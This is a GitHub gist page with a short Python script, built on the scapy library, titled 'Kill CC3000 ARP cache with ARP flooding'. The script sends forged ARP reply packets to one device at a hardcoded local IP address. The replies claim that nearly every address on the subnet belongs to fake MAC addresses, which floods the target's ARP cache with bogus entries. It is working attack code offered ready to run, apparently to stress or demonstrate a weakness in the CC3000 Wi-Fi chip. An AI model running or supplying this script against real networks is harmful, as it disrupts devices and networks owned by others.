Skip to content

Instantly share code, notes, and snippets.

@Hypnopompia
Created February 13, 2014 03:54
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Hypnopompia/8969463 to your computer and use it in GitHub Desktop.
Save Hypnopompia/8969463 to your computer and use it in GitHub Desktop.
Kill CC3000 ARP cache with ARP flooding
#! /usr/bin/env python
# on Ubuntu:
# sudo apt-get install python-scapy
# You'll need to run this script as root to send these ARP packets
from scapy.all import *
victim = '192.168.1.131' # ip address of CC3000
subnet = '192.168.1'
for i in range(2,255): # assumes your gateway is .1 - skip it so we don't break the ARP cache for the router
a = ARP()
a.op = 2
a.psrc = '%s.%s' % (subnet, i)
a.pdst = victim
a.hwdst = 'FF:FF:FF:FF:FF:%0.2X' % (i)
a.display()
send(a)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment